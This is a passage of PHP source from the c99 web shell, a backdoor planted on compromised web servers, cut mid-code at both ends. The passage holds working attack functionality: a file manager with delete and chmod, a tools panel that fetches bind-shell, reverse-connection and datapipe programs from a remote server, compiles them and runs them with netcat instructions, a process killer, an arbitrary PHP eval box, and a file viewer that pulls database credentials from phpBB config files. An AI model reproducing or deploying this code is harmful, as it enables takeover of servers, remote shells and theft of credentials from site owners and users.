                    if (!$win)
                    {
                        $row[] = $a[3];
                    }
                    $row[] = "<a href=\"" . $surl . "act=chmod&f=" . $uo . "&d=" . $ud . "\"><b>" . view_perms_color($v) . "</b></a>";
                    if ($o == ".")
                    {
                        $checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">";
                        $i--;
                    }
                    else
                    {
                        $checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox" . $i . "\" value=\"" . htmlspecialchars($v) . "\">";
                    }
                    if (is_dir($v))
                    {
                        $row[] = "<a href=\"" . $surl . "act=d&d=" . $uv . "\"><img src=\"" . $surl . "act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;" . $checkbox;
                    }
                    else
                    {
                        $row[] = "<a href=\"" . $surl . "act=f&f=" . $uo . "&ft=info&d=" . $ud . "\"><img src=\"" . $surl . "act=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a>&nbsp;<a href=\"" . $surl . "act=f&f=" . $uo . "&ft=edit&d=" . $ud . "\"><img src=\"" . $surl . "act=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;<a href=\"" . $surl . "act=f&f=" . $uo . "&ft=download&d=" . $ud . "\"><img src=\"" . $surl . "act=img&img=download\" alt=\"Download\" height=\"16\" width=\"19\" border=\"0\"></a>&nbsp;" . $checkbox;
                    }
                    if (($o == ".") or ($o == ".."))
                    {
                        $tab["head"][] = $row;
                    }
                    elseif (is_link($v))
                    {
                        $tab["links"][] = $row;
                    }
                    elseif (is_dir($v))
                    {
                        $tab["folders"][] = $row;
                    }
                    elseif (is_file($v))
                    {
                        $tab["files"][] = $row;
                    }
                    $i++;
                }
            }
            $table = array_merge($tab["cols"], $tab["head"], $tab["folders"], $tab["links"], $tab["files"]);
            echo "<center><b>Listing folder (" . count($tab["files"]) . " files and " . (count($tab["folders"]) + count($tab["links"])) . " folders):</b></center><br><TABLE cellSpacing=0 cellPadding=0 width=100% bgColor=#333333 borderColorLight=#433333 border=0><form action=\"" . $surl . "\" method=POST name=\"ls_form\"><input type=hidden name=act value=" . $dspact . "><input type=hidden name=d value=" . $d . ">";
            foreach ($table as $row)
            {
                echo "<tr>
";
                foreach ($row as $v)
                {
                    echo "<td>" . $v . "</td>
";
                }
                echo "</tr>
";
            }
            echo "</table><hr size=\"1\" noshade><p align=\"right\">
  <script>
  function ls_setcheckboxall(status)
  {
   var id = 0;
   var num = " . (count($table) - 2) . ";
   while (id <= num)
   {
    document.getElementById('actbox'+id).checked = status;
    id++;
   }
  }
  function ls_reverse_all()
  {
   var id = 0;
   var num = " . (count($table) - 2) . ";
   while (id <= num)
   {
    document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked;
    id++;
   }
  }
  </script>
  <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> 
  <b><img src=\"" . $surl . "act=img&img=arrow_ltr\" border=\"0\">";
            if (count(array_merge($sess_data["copy"], $sess_data["cut"])) > 0 and ($usefsbuff))
            {
                echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_" . substr(md5(rand(1, 1000) . rand(1, 1000)) , 0, 5) . ".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
            }
            echo "<select name=act><option value=\"" . $act . "\">With selected:</option>";
            echo "<option value=delete" . ($dspact == "delete" ? " selected" : "") . ">Delete</option>";
            echo "<option value=chmod" . ($dspact == "chmod" ? " selected" : "") . ">Change-mode</option>";
            if ($usefsbuff)
            {
                echo "<option value=cut" . ($dspact == "cut" ? " selected" : "") . ">Cut</option>";
                echo "<option value=copy" . ($dspact == "copy" ? " selected" : "") . ">Copy</option>";
                echo "<option value=unselect" . ($dspact == "unselect" ? " selected" : "") . ">Unselect</option>";
            }
            echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>";
            echo "</form>";
        }
    }
    if ($act == "tools")
    {
        $bndportsrcs = array(
            "c99sh_bindport.pl" => array(
                "Using PERL",
                "perl %path %port"
            ) ,
            "c99sh_bindport.c" => array(
                "Using C",
                "%path %port %pass"
            )
        );
        $bcsrcs = array(
            "c99sh_backconn.pl" => array(
                "Using PERL",
                "perl %path %host %port"
            ) ,
            "c99sh_backconn.c" => array(
                "Using C",
                "%path %host %port"
            )
        );
        $dpsrcs = array(
            "c99sh_datapipe.pl" => array(
                "Using PERL",
                "perl %path %localport %remotehost %remoteport"
            ) ,
            "c99sh_datapipe.c" => array(
                "Using C",
                "%path %localport %remoteport %remotehost"
            )
        );
        if (!is_array($bind))
        {
            $bind = array();
        }
        if (!is_array($bc))
        {
            $bc = array();
        }
        if (!is_array($datapipe))
        {
            $datapipe = array();
        }
        if (!is_numeric($bind["port"]))
        {
            $bind["port"] = $bindport_port;
        }
        if (empty($bind["pass"]))
        {
            $bind["pass"] = $bindport_pass;
        }
        if (empty($bc["host"]))
        {
            $bc["host"] = getenv("REMOTE_ADDR");
        }
        if (!is_numeric($bc["port"]))
        {
            $bc["port"] = $bc_port;
        }
        if (empty($datapipe["remoteaddr"]))
        {
            $datapipe["remoteaddr"] = "irc.dalnet.ru:6667";
        }
        if (!is_numeric($datapipe["localport"]))
        {
            $datapipe["localport"] = $datapipe_localport;
        }
        if (!empty($bindsubmit))
        {
            echo "<b>Result of binding port:</b><br>";
            $v = $bndportsrcs[$bind["src"]];
            if (empty($v))
            {
                echo "Unknown file!<br>";
            }
            elseif (fsockopen(getenv("SERVER_ADDR") , $bind["port"], $errno, $errstr, 0.1))
            {
                echo "Port alredy in use, select any other!<br>";
            }
            else
            {
                $w = explode(".", $bind["src"]);
                $ext = $w[count($w) - 1];
                unset($w[count($w) - 1]);
                $srcpath = join(".", $w) . "." . rand(0, 999) . "." . $ext;
                $binpath = $tmpdir . join(".", $w) . rand(0, 999);
                if ($ext == "pl")
                {
                    $binpath = $srcpath;
                }
                @unlink($srcpath);
                $fp = fopen($srcpath, "ab+");
                if (!$fp)
                {
                    echo "Can't write sources to \"" . $srcpath . "\"!<br>";
                }
                elseif (!$data = c99getsource($bind["src"]))
                {
                    echo "Can't download sources!";
                }
                else
                {
                    fwrite($fp, $data, strlen($data));
                    fclose($fp);
                    if ($ext == "c")
                    {
                        $retgcc = myshellexec("gcc -o " . $binpath . " " . $srcpath);
                        @unlink($srcpath);
                    }
                    $v[1] = str_replace("%path", $binpath, $v[1]);
                    $v[1] = str_replace("%port", $bind["port"], $v[1]);
                    $v[1] = str_replace("%pass", $bind["pass"], $v[1]);
                    $v[1] = str_replace("//", "/", $v[1]);
                    $retbind = myshellexec($v[1] . " > /dev/null &");
                    sleep(5);
                    $sock = fsockopen("localhost", $bind["port"], $errno, $errstr, 5);
                    if (!$sock)
                    {
                        echo "I can't connect to localhost:" . $bind["port"] . "! I think you should configure your firewall.";
                    }
                    else
                    {
                        echo "Binding... ok! Connect to <b>" . getenv("SERVER_ADDR") . ":" . $bind["port"] . "</b>! You should use NetCat&copy;, run \"<b>nc -v " . getenv("SERVER_ADDR") . " " . $bind["port"] . "</b>\"!<center><a href=\"" . $surl . "act=processes&grep=" . basename($binpath) . "\"><u>View binder's process</u></a></center>";
                    }
                }
                echo "<br>";
            }
        }
        if (!empty($bcsubmit))
        {
            echo "<b>Result of back connection:</b><br>";
            $v = $bcsrcs[$bc["src"]];
            if (empty($v))
            {
                echo "Unknown file!<br>";
            }
            else
            {
                $w = explode(".", $bc["src"]);
                $ext = $w[count($w) - 1];
                unset($w[count($w) - 1]);
                $srcpath = join(".", $w) . "." . rand(0, 999) . "." . $ext;
                $binpath = $tmpdir . join(".", $w) . rand(0, 999);
                if ($ext == "pl")
                {
                    $binpath = $srcpath;
                }
                @unlink($srcpath);
                $fp = fopen($srcpath, "ab+");
                if (!$fp)
                {
                    echo "Can't write sources to \"" . $srcpath . "\"!<br>";
                }
                elseif (!$data = c99getsource($bc["src"]))
                {
                    echo "Can't download sources!";
                }
                else
                {
                    fwrite($fp, $data, strlen($data));
                    fclose($fp);
                    if ($ext == "c")
                    {
                        $retgcc = myshellexec("gcc -o " . $binpath . " " . $srcpath);
                        @unlink($srcpath);
                    }
                    $v[1] = str_replace("%path", $binpath, $v[1]);
                    $v[1] = str_replace("%host", $bc["host"], $v[1]);
                    $v[1] = str_replace("%port", $bc["port"], $v[1]);
                    $v[1] = str_replace("//", "/", $v[1]);
                    $retbind = myshellexec($v[1] . " > /dev/null &");
                    echo "Now script try connect to " . htmlspecialchars($bc["host"]) . ":" . htmlspecialchars($bc["port"]) . "...<br>";
                }
            }
        }
        if (!empty($dpsubmit))
        {
            echo "<b>Result of datapipe-running:</b><br>";
            $v = $dpsrcs[$datapipe["src"]];
            if (empty($v))
            {
                echo "Unknown file!<br>";
            }
            elseif (fsockopen(getenv("SERVER_ADDR") , $datapipe["port"], $errno, $errstr, 0.1))
            {
                echo "Port alredy in use, select any other!<br>";
            }
            else
            {
                $srcpath = $tmpdir . $datapipe["src"];
                $w = explode(".", $datapipe["src"]);
                $ext = $w[count($w) - 1];
                unset($w[count($w) - 1]);
                $srcpath = join(".", $w) . "." . rand(0, 999) . "." . $ext;
                $binpath = $tmpdir . join(".", $w) . rand(0, 999);
                if ($ext == "pl")
                {
                    $binpath = $srcpath;
                }
                @unlink($srcpath);
                $fp = fopen($srcpath, "ab+");
                if (!$fp)
                {
                    echo "Can't write sources to \"" . $srcpath . "\"!<br>";
                }
                elseif (!$data = c99getsource($datapipe["src"]))
                {
                    echo "Can't download sources!";
                }
                else
                {
                    fwrite($fp, $data, strlen($data));
                    fclose($fp);
                    if ($ext == "c")
                    {
                        $retgcc = myshellexec("gcc -o " . $binpath . " " . $srcpath);
                        @unlink($srcpath);
                    }
                    list($datapipe["remotehost"], $datapipe["remoteport"]) = explode(":", $datapipe["remoteaddr"]);
                    $v[1] = str_replace("%path", $binpath, $v[1]);
                    $v[1] = str_replace("%localport", $datapipe["localport"], $v[1]);
                    $v[1] = str_replace("%remotehost", $datapipe["remotehost"], $v[1]);
                    $v[1] = str_replace("%remoteport", $datapipe["remoteport"], $v[1]);
                    $v[1] = str_replace("//", "/", $v[1]);
                    $retbind = myshellexec($v[1] . " > /dev/null &");
                    sleep(5);
                    $sock = fsockopen("localhost", $datapipe["port"], $errno, $errstr, 5);
                    if (!$sock)
                    {
                        echo "I can't connect to localhost:" . $datapipe["localport"] . "! I think you should configure your firewall.";
                    }
                    else
                    {
                        echo "Running datapipe... ok! Connect to <b>" . getenv("SERVER_ADDR") . ":" . $datapipe["port"] . ", and you will connected to " . $datapipe["remoteaddr"] . "</b>! You should use NetCat&copy;, run \"<b>nc -v " . getenv("SERVER_ADDR") . " " . $bind["port"] . "</b>\"!<center><a href=\"" . $surl . "act=processes&grep=" . basename($binpath) . "\"><u>View datapipe process</u></a></center>";
                    }
                }
                echo "<br>";
            }
        } ?><b>Binding port:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">Port: <input type=text name="bind[port]" value="<?php echo htmlspecialchars($bind["port"]); ?>">&nbsp;Password: <input type=text name="bind[pass]" value="<?php echo htmlspecialchars($bind["pass"]); ?>">&nbsp;<select name="bind[src]"><?php foreach ($bndportsrcs as $k => $v)
        {
            echo "<option value=\"" . $k . "\"";
            if ($k == $bind["src"])
            {
                echo " selected";
            }
            echo ">" . $v[0] . "</option>";
        } ?></select>&nbsp;<input type=submit name=bindsubmit value="Bind"></form>
<b>Back connection:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="bc[host]" value="<?php echo htmlspecialchars($bc["host"]); ?>">&nbsp;Port: <input type=text name="bc[port]" value="<?php echo htmlspecialchars($bc["port"]); ?>">&nbsp;<select name="bc[src]"><?php foreach ($bcsrcs as $k => $v)
        {
            echo "<option value=\"" . $k . "\"";
            if ($k == $bc["src"])
            {
                echo " selected";
            }
            echo ">" . $v[0] . "</option>";
        } ?></select>&nbsp;<input type=submit name=bcsubmit value="Connect"></form>
Click "Connect" only after open port for it. You should use NetCat&copy;, run "<b>nc -l -n -v -p <?php echo $bc_port; ?></b>"!<br><br>
<b>Datapipe:</b><br><form action="<?php echo $surl; ?>"><input type=hidden name=act value=tools><input type=hidden name=d value="<?php echo $d; ?>">HOST: <input type=text name="datapipe[remoteaddr]" value="<?php echo htmlspecialchars($datapipe["remoteaddr"]); ?>">&nbsp;Local port: <input type=text name="datapipe[localport]" value="<?php echo htmlspecialchars($datapipe["localport"]); ?>">&nbsp;<select name="datapipe[src]"><?php foreach ($dpsrcs as $k => $v)
        {
            echo "<option value=\"" . $k . "\"";
            if ($k == $bc["src"])
            {
                echo " selected";
            }
            echo ">" . $v[0] . "</option>";
        } ?></select>&nbsp;<input type=submit name=dpsubmit value="Run"></form><b>Note:</b> sources will be downloaded from remote server.<?php
    }
    if ($act == "processes")
    {
        echo "<b>Processes:</b><br>";
        if (!$win)
        {
            $handler = "ps -aux" . ($grep ? " | grep '" . addslashes($grep) . "'" : "");
        }
        else
        {
            $handler = "tasklist";
        }
        $ret = myshellexec($handler);
        if (!$ret)
        {
            echo "Can't execute \"" . $handler . "\"!";
        }
        else
        {
            if (empty($processes_sort))
            {
                $processes_sort = $sort_default;
            }
            $parsesort = parsesort($processes_sort);
            if (!is_numeric($parsesort[0]))
            {
                $parsesort[0] = 0;
            }
            $k = $parsesort[0];
            if ($parsesort[1] != "a")
            {
                $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "a\"><img src=\"" . $surl . "act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";
            }
            else
            {
                $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "d\"><img src=\"" . $surl . "act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
            }
            $ret = htmlspecialchars($ret);
            if (!$win)
            {
                if ($pid)
                {
                    if (is_null($sig))
                    {
                        $sig = 9;
                    }
                    echo "Sending signal " . $sig . " to #" . $pid . "... ";
                    if (posix_kill($pid, $sig))
                    {
                        echo "OK.";
                    }
                    else
                    {
                        echo "ERROR.";
                    }
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", " ", $ret);
                }
                $stack = explode("
", $ret);
                $head = explode(" ", $stack[0]);
                unset($stack[0]);
                for ($i = 0;$i < count($head);$i++)
                {
                    if ($i != $k)
                    {
                        $head[$i] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $i . $parsesort[1] . "\"><b>" . $head[$i] . "</b></a>";
                    }
                }
                $prcs = array();
                foreach ($stack as $line)
                {
                    if (!empty($line))
                    {
                        echo "<tr>";
                        $line = explode(" ", $line);
                        $line[10] = join(" ", array_slice($line, 10));
                        $line = array_slice($line, 0, 11);
                        if ($line[0] == get_current_user())
                        {
                            $line[0] = "<font color=green>" . $line[0] . "</font>";
                        }
                        $line[] = "<a href=\"" . $surl . "act=processes&d=" . urlencode($d) . "&pid=" . $line[1] . "&sig=9\"><u>KILL</u></a>";
                        $prcs[] = $line;
                        echo "</tr>";
                    }
                }
            }
            else
            {
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("  ", $ret))
                {
                    $ret = str_replace("  ", "	", $ret);
                }
                while (preg_match("		", $ret))
                {
                    $ret = str_replace("		", "	", $ret);
                }
                while (preg_match("	 ", $ret))
                {
                    $ret = str_replace("	 ", "	", $ret);
                }
                $ret = convert_cyr_string($ret, "d", "w");
                $stack = explode("
", $ret);
                unset($stack[0], $stack[2]);
                $stack = array_values($stack);
                $head = explode("	", $stack[0]);
                $head[1] = explode(" ", $head[1]);
                $head[1] = $head[1][0];
                $stack = array_slice($stack, 1);
                unset($head[2]);
                $head = array_values($head);
                if ($parsesort[1] != "a")
                {
                    $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "a\"><img src=\"" . $surl . "act=img&img=sort_desc\" height=\"9\" width=\"14\" border=\"0\"></a>";
                }
                else
                {
                    $y = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $k . "d\"><img src=\"" . $surl . "act=img&img=sort_asc\" height=\"9\" width=\"14\" border=\"0\"></a>";
                }
                if ($k > count($head))
                {
                    $k = count($head) - 1;
                }
                for ($i = 0;$i < count($head);$i++)
                {
                    if ($i != $k)
                    {
                        $head[$i] = "<a href=\"" . $surl . "act=" . $dspact . "&d=" . urlencode($d) . "&processes_sort=" . $i . $parsesort[1] . "\"><b>" . trim($head[$i]) . "</b></a>";
                    }
                }
                $prcs = array();
                foreach ($stack as $line)
                {
                    if (!empty($line))
                    {
                        echo "<tr>";
                        $line = explode("	", $line);
                        $line[1] = intval($line[1]);
                        $line[2] = $line[3];
                        unset($line[3]);
                        $line[2] = intval(str_replace(" ", "", $line[2])) * 1024;
                        $prcs[] = $line;
                        echo "</tr>";
                    }
                }
            }
            $head[$k] = "<b>" . $head[$k] . "</b>" . $y;
            $v = $processes_sort[0];
            usort($prcs, "tabsort");
            if ($processes_sort[1] == "d")
            {
                $prcs = array_reverse($prcs);
            }
            $tab = array();
            $tab[] = $head;
            $tab = array_merge($tab, $prcs);
            echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
            foreach ($tab as $i => $k)
            {
                echo "<tr>";
                foreach ($k as $j => $v)
                {
                    if ($win and $i > 0 and $j == 2)
                    {
                        $v = view_size($v);
                    }
                    echo "<td>" . $v . "</td>";
                }
                echo "</tr>";
            }
            echo "</table>";
        }
    }
    if ($act == "eval")
    {
        if (!empty($eval))
        {
            echo "<b>Result of execution this PHP-code</b>:<br>";
            $tmp = ob_get_contents();
            $olddir = realpath(".");
            @chdir($d);
            if ($tmp)
            {
                ob_clean();
                eval($eval);
                $ret = ob_get_contents();
                $ret = convert_cyr_string($ret, "d", "w");
                ob_clean();
                echo $tmp;
                if ($eval_txt)
                {
                    $rows = count(explode("
", $ret)) + 1;
                    if ($rows < 10)
                    {
                        $rows = 10;
                    }
                    echo "<br><textarea cols=\"122\" rows=\"" . $rows . "\" readonly>" . htmlspecialchars($ret) . "</textarea>";
                }
                else
                {
                    echo $ret . "<br>";
                }
            }
            else
            {
                if ($eval_txt)
                {
                    echo "<br><textarea cols=\"122\" rows=\"15\" readonly>";
                    eval($eval);
                    echo "</textarea>";
                }
                else
                {
                    echo $ret;
                }
            }
            @chdir($olddir);
        }
        else
        {
            echo "<b>Execution PHP-code</b>";
            if (empty($eval_txt))
            {
                $eval_txt = true;
            }
        }
        echo "<form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">" . htmlspecialchars($eval) . "</textarea><input type=hidden name=\"d\" value=\"" . $dispd . "\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\"";
        if ($eval_txt)
        {
            echo " checked";
        }
        echo "></form>";
    }
    if ($act == "f")
    {
        if ((!is_readable($d . $f) or is_dir($d . $f)) and $ft != "edit")
        {
            if (file_exists($d . $f))
            {
                echo "<center><b>Permision denied (" . htmlspecialchars($d . $f) . ")!</b></center>";
            }
            else
            {
                echo "<center><b>File does not exists (" . htmlspecialchars($d . $f) . ")!</b><br><a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=edit&d=" . urlencode($d) . "&c=1\"><u>Create</u></a></center>";
            }
        }
        else
        {
            $r = @file_get_contents($d . $f);
            $ext = explode(".", $f);
            $c = count($ext) - 1;
            $ext = $ext[$c];
            $ext = strtolower($ext);
            $rft = "";
            foreach ($ftypes as $k => $v)
            {
                if (in_array($ext, $v))
                {
                    $rft = $k;
                    break;
                }
            }
            if (preg_match("sess_(.*)", $f))
            {
                $rft = "phpsess";
            }
            if (empty($ft))
            {
                $ft = $rft;
            }
            $arr = array(
                array(
                    "<img src=\"" . $surl . "act=img&img=ext_diz\" border=\"0\">",
                    "info"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=ext_html\" border=\"0\">",
                    "html"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=ext_txt\" border=\"0\">",
                    "txt"
                ) ,
                array(
                    "Code",
                    "code"
                ) ,
                array(
                    "Session",
                    "phpsess"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=ext_exe\" border=\"0\">",
                    "exe"
                ) ,
                array(
                    "SDB",
                    "sdb"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=ext_gif\" border=\"0\">",
                    "img"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=ext_ini\" border=\"0\">",
                    "ini"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=download\" border=\"0\">",
                    "download"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=ext_rtf\" border=\"0\">",
                    "notepad"
                ) ,
                array(
                    "<img src=\"" . $surl . "act=img&img=change\" border=\"0\">",
                    "edit"
                )
            );
            echo "<b>Viewing file:&nbsp;&nbsp;&nbsp;&nbsp;<img src=\"" . $surl . "act=img&img=ext_" . $ext . "\" border=\"0\">&nbsp;" . $f . " (" . view_size(filesize($d . $f)) . ") &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" . view_perms_color($d . $f) . "</b><br>Select action/file-type:<br>";
            foreach ($arr as $t)
            {
                if ($t[1] == $rft)
                {
                    echo " <a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&d=" . urlencode($d) . "\"><font color=green>" . $t[0] . "</font></a>";
                }
                elseif ($t[1] == $ft)
                {
                    echo " <a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&d=" . urlencode($d) . "\"><b><u>" . $t[0] . "</u></b></a>";
                }
                else
                {
                    echo " <a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&d=" . urlencode($d) . "\"><b>" . $t[0] . "</b></a>";
                }
                echo " (<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=" . $t[1] . "&white=1&d=" . urlencode($d) . "\" target=\"_blank\">+</a>) |";
            }
            echo "<hr size=\"1\" noshade>";
            if ($ft == "info")
            {
                echo "<b>Information:</b><table border=0 cellspacing=1 cellpadding=2><tr><td><b>Path</b></td><td> " . $d . $f . "</td></tr><tr><td><b>Size</b></td><td> " . view_size(filesize($d . $f)) . "</td></tr><tr><td><b>MD5</b></td><td> " . md5_file($d . $f) . "</td></tr>";
                if (!$win)
                {
                    echo "<tr><td><b>Owner/Group</b></td><td> ";
                    $ow = posix_getpwuid(fileowner($d . $f));
                    $gr = posix_getgrgid(filegroup($d . $f));
                    echo ($ow["name"] ? $ow["name"] : fileowner($d . $f)) . "/" . ($gr["name"] ? $gr["name"] : filegroup($d . $f));
                }
                echo "<tr><td><b>Perms</b></td><td><a href=\"" . $surl . "act=chmod&f=" . urlencode($f) . "&d=" . urlencode($d) . "\">" . view_perms_color($d . $f) . "</a></td></tr><tr><td><b>Create time</b></td><td> " . date("d/m/Y H:i:s", filectime($d . $f)) . "</td></tr><tr><td><b>Access time</b></td><td> " . date("d/m/Y H:i:s", fileatime($d . $f)) . "</td></tr><tr><td><b>MODIFY time</b></td><td> " . date("d/m/Y H:i:s", filemtime($d . $f)) . "</td></tr></table><br>";
                $fi = fopen($d . $f, "rb");
                if ($fi)
                {
                    if ($fullhexdump)
                    {
                        echo "<b>FULL HEXDUMP</b>";
                        $str = fread($fi, filesize($d . $f));
                    }
                    else
                    {
                        echo "<b>HEXDUMP PREVIEW</b>";
                        $str = fread($fi, $hexdump_lines * $hexdump_rows);
                    }
                    $n = 0;
                    $a0 = "00000000<br>";
                    $a1 = "";
                    $a2 = "";
                    for ($i = 0;$i < strlen($str);$i++)
                    {
                        $a1 .= sprintf("%02X", ord($str[$i])) . " ";
                        switch (ord($str[$i]))
                        {
                            case 0:
                                $a2 .= "<font>0</font>";
                            break;
                            case 32:
                            case 10:
                            case 13:
                                $a2 .= "&nbsp;";
                            break;
                            default:
                                $a2 .= htmlspecialchars($str[$i]);
                        }
                        $n++;
                        if ($n == $hexdump_rows)
                        {
                            $n = 0;
                            if ($i + 1 < strlen($str))
                            {
                                $a0 .= sprintf("%08X", $i + 1) . "<br>";
                            }
                            $a1 .= "<br>";
                            $a2 .= "<br>";
                        }
                    }
                    echo "<table border=0 bgcolor=#666666 cellspacing=1 cellpadding=4><tr><td bgcolor=#666666>" . $a0 . "</td><td bgcolor=000000>" . $a1 . "</td><td bgcolor=000000>" . $a2 . "</td></tr></table><br>";
                }
                $encoded = "";
                if ($base64 == 1)
                {
                    echo "<b>Base64 Encode</b><br>";
                    $encoded = base64_encode(file_get_contents($d . $f));
                }
                elseif ($base64 == 2)
                {
                    echo "<b>Base64 Encode + Chunk</b><br>";
                    $encoded = chunk_split(base64_encode(file_get_contents($d . $f)));
                }
                elseif ($base64 == 3)
                {
                    echo "<b>Base64 Encode + Chunk + Quotes</b><br>";
                    $encoded = base64_encode(file_get_contents($d . $f));
                    $encoded = substr(preg_replace("!.{1,76}!", "''.
", $encoded) , 0, -2);
                }
                elseif ($base64 == 4)
                {
                    $text = file_get_contents($d . $f);
                    $encoded = base64_decode($text);
                    echo "<b>Base64 Decode";
                    if (base64_encode($encoded) != $text)
                    {
                        echo " (failed)";
                    }
                    echo "</b><br>";
                }
                if (!empty($encoded))
                {
                    echo "<textarea cols=80 rows=10>" . htmlspecialchars($encoded) . "</textarea><br><br>";
                }
                echo "<b>HEXDUMP:</b><nobr> [<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&fullhexdump=1&d=" . urlencode($d) . "\">Full</a>] [<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&d=" . urlencode($d) . "\">Preview</a>]<br><b>Base64: </b>
<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=1&d=" . urlencode($d) . "\">Encode</a>]&nbsp;</nobr>
<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=2&d=" . urlencode($d) . "\">+chunk</a>]&nbsp;</nobr>
<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=3&d=" . urlencode($d) . "\">+chunk+quotes</a>]&nbsp;</nobr>
<nobr>[<a href=\"" . $surl . "act=f&f=" . urlencode($f) . "&ft=info&base64=4&d=" . urlencode($d) . "\">Decode</a>]&nbsp;</nobr>
<P>";
            }
            elseif ($ft == "html")
            {
                if ($white)
                {
                    @ob_clean();
                }
                echo $r;
                if ($white)
                {
                    c99shexit();
                }
            }
            elseif ($ft == "txt")
            {
                echo "<pre>" . htmlspecialchars($r) . "</pre>";
            }
            elseif ($ft == "ini")
            {
                echo "<pre>";
                var_dump(parse_ini_file($d . $f, true));
                echo "</pre>";
            }
            elseif ($ft == "phpsess")
            {
                echo "<pre>";
                $v = explode("|", $r);
                echo $v[0] . "<br>";
                var_dump(unserialize($v[1]));
                echo "</pre>";
            }
            elseif ($ft == "exe")
            {
                $ext = explode(".", $f);
                $c = count($ext) - 1;
                $ext = $ext[$c];
                $ext = strtolower($ext);
                $rft = "";
                foreach ($exeftypes as $k => $v)
                {
                    if (in_array($ext, $v))
                    {
                        $rft = $k;
                        break;
                    }
                }
                $cmd = str_replace("%f%", $f, $rft);
                echo "<b>Execute file:</b><form action=\"" . $surl . "\" method=POST><input type=hidden name=act value=cmd><input type=\"text\" name=\"cmd\" value=\"" . htmlspecialchars($cmd) . "\" size=\"" . (strlen($cmd) + 2) . "\"><br>Display in text-area<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\" checked><input type=hidden name=\"d\" value=\"" . htmlspecialchars($d) . "\"><br><input type=submit name=submit value=\"Execute\"></form>";
            }
            elseif ($ft == "sdb")
            {
                echo "<pre>";
                var_dump(unserialize(base64_decode($r)));
                echo "</pre>";
            }
            elseif ($ft == "code")
            {
                if (preg_match("php" . "BB 2.(.*) auto-generated config file", $r))
                {
                    $arr = explode("
", $r);
                    if (count($arr == 18))
                    {
                        include ($d . $f);
                        echo "<b>phpBB configuration is detected in this file!<br>";
                        if ($dbms == "mysql4")
                        {
                            $dbms = "mysql";
                        }
                        if ($dbms == "mysql")
                        {
